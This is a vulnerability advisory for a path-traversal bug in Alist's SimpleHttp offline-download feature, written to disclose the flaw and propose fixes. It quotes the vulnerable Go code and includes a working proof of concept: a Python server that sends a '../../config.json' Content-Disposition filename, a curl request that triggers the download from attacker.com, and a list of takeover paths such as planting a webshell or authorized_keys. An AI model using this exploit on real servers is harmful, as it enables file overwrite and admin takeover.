Summary

Alist's offline-download feature (POST /api/fs/add_offline_download with tool: "SimpleHttp") accepts an attacker-supplied URL, fetches it, and saves the bytes under a per-task temp directory before transferring to the user's destination storage. The temp filename is taken from the response's Content-Disposition header (attacker-controlled when the URL points to an attacker HTTP server), passed verbatim to filepath.Join(tempDir, filename), and written via os.Create with no containment check. Go's filepath.Join calls Clean on the result, which collapses .. segments and lets the attacker traverse out of tempDir to write any file the alist process can write.

A non-admin user with PermAddOfflineDownload permission on any path is sufficient.

Affected code

internal/offline_download/http/util.go — filename returned verbatim from header:

func parseFilenameFromContentDisposition(contentDisposition string) (string, error) {
    if contentDisposition == "" {
        return "", fmt.Errorf("Content-Disposition is empty")
    }
    _, params, err := mime.ParseMediaType(contentDisposition)
    if err != nil {
        return "", err
    }
    filename := params["filename"]
    if filename == "" {
        return "", fmt.Errorf("filename not found in Content-Disposition: [%s]", contentDisposition)
    }
    return filename, nil   // ← no traversal stripping
}

internal/offline_download/http/client.go (SimpleHttp.Run):

filename := path.Base(urlPath)                                         // safe
if n, err := parseFilenameFromContentDisposition(resp.Header.Get("Content-Disposition")); err == nil {
    filename = n                                                       // UNSAFE — no sanitization
}
_ = os.MkdirAll(task.TempDir, os.ModePerm)
filePath := filepath.Join(task.TempDir, filename)                      // filepath.Join calls Clean; "../" escapes tempDir
file, err := os.Create(filePath)                                       // arbitrary file create+truncate
_, _ = utils.CopyWithCtx(task.Ctx(), file, resp.Body, fileSize, task.SetProgress)

server/handles/offline_download.go (AddOfflineDownload) is mounted under normal user auth (not AuthAdmin). The only permission check is common.HasPermission(perm, common.PermAddOfflineDownload).

Note: tryPutUrl in internal/offline_download/tool/add.go is a partial bypass for cloud-storage destinations whose driver implements PutURL (e.g., 115 Cloud, PikPak, Thunder). For the local-storage driver — the most common target — tryPutUrl returns errs.NotImplement and execution falls through to the vulnerable SimpleHttp.Run path.

PoC

1. Attacker has any alist account with PermAddOfflineDownload on some path it can write to (e.g. /somefolder).
2. Attacker hosts a small HTTP listener:

from http.server import BaseHTTPRequestHandler, HTTPServer
PAYLOAD = b"any_attacker_controlled_bytes\n"
TRAVERSAL = "../../config.json"   # destination path under /opt/alist/data/
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Disposition", f'attachment; filename="{TRAVERSAL}"')
        self.send_header("Content-Length", str(len(PAYLOAD)))
        self.end_headers()
        self.wfile.write(PAYLOAD)
HTTPServer(("0.0.0.0", 80), H).serve_forever()

3. Trigger:

curl -X POST 'http://victim-alist.example/api/fs/add_offline_download' \
  -H 'Authorization: <session-token>' \
  -H 'Content-Type: application/json' \
  -d '{"urls":["http://attacker.com/payload"],"tool":"SimpleHttp","path":"/somefolder","delete_policy":"delete_never"}'

4. Server-side: tempDir = /opt/alist/data/temp/SimpleHttp/<uuid>. filename = "../../config.json". filePath = filepath.Join(tempDir, filename) cleans to /opt/alist/data/config.json. os.Create truncates the existing config; the response body is streamed in.

Impact

The minimal, deployment-agnostic guarantee is: the attacker can cause the application to create or overwrite files whose parent directory exists, with content of their choice, as the alist process (PUID=0 in default Docker). Because the vulnerable code ultimately calls os.Create on the attacker-controlled resolved path, existing files may be truncated and replaced when the target already exists. Concrete impact paths include:

• Replace /opt/alist/data/config.json with attacker config (alternative JwtSecret, admin password hash, allowed origins) — admin takeover on next restart / config-reload hook.
• Drop a webshell into a writable docroot served by a sibling web server (environment-dependent).
• Truncate the alist binary at /opt/alist/alist (Linux permits overwriting an executing binary on most filesystems) — next start runs attacker's binary.
• Write authorized_keys if a host volume bind-mounts e.g. /root/.ssh and that directory exists.

Caveat: the parent directory of the target must already exist; os.Create does not mkdir -p intermediate components. This still leaves many high-impact targets reachable on default deployments.

Adversarial review notes

• filepath.Join does collapse .. (Go semantics confirmed via stdlib).
• No containment check exists after the join.
• mime.ParseMediaType does not strip path separators or .. from filename or RFC 5987 filename*.
• The resolved path is opened using os.Create, which truncates existing files and therefore permits overwrite in addition to creation when the target path already exists.
• SimpleHttp is registered by default (internal/offline_download/all.go).
• The route is not AuthAdmin-gated.
• Default guest is disabled (perm 0); this requires a user with PermAddOfflineDownload.

Remediation

Minimal patch in internal/offline_download/http/util.go:

filename = filepath.Base(filename)
if filename == "" || filename == "." || filename == ".." || !filepath.IsLocal(filename) {
    return "", fmt.Errorf("invalid filename in Content-Disposition: [%s]", contentDisposition)
}
return filename, nil

Defense-in-depth in internal/offline_download/http/client.go after computing filePath:

cleanTempDir := filepath.Clean(task.TempDir) + string(filepath.Separator)
if !strings.HasPrefix(filepath.Clean(filePath)+string(filepath.Separator), cleanTempDir) {
    return fmt.Errorf("filename escapes temp dir")
}

Additionally, file creation should reject existing targets (or use an equivalent exclusive-create mechanism) to prevent accidental or attacker-controlled overwrites when a chosen filename resolves to an existing file.

if _, err := os.Stat(filePath); err == nil {
    return fmt.Errorf("file already exists")
}

The same Content-Disposition / URL-derived filename trust pattern should be reviewed in the other offline-download tools under internal/offline_download/{aria2,qbit,transmission,115,pikpak,thunder}/ for consistency.

Inherited from upstream

This bug is inherited from upstream alist/alist-org/alist. Sister advisories are being filed against AlistGo/alist (the active downstream) and alist-org/alist (the original tree).

Cross-reference

This is a different code path from the previously fixed CVE-2026-25161 (GHSA-x4q4-7phh-42j9, fsmanage/fsbatch path traversal patched in v3.57.0). The offline-download SimpleHttp downloader was not in scope of that fix; the vulnerable code is on main HEAD as of the time of this report (verified against the openlistteam/openlist tree's internal/offline_download/http/client.go retrieved 2026-05-09 — the SimpleHttp.Run function still calls parseFilenameFromContentDisposition and uses the result verbatim with filepath.Join(task.TempDir, filename). OpenList's variant adds a strings.Trim(filename, "/") call which strips leading/trailing slashes but does NOT block .. traversal segments — so the bug remains exploitable.)

Credit

Discovered during a cross-target meta-sweep on path-traversal in file-upload / download pipelines. Static review of public source; no live exploitation.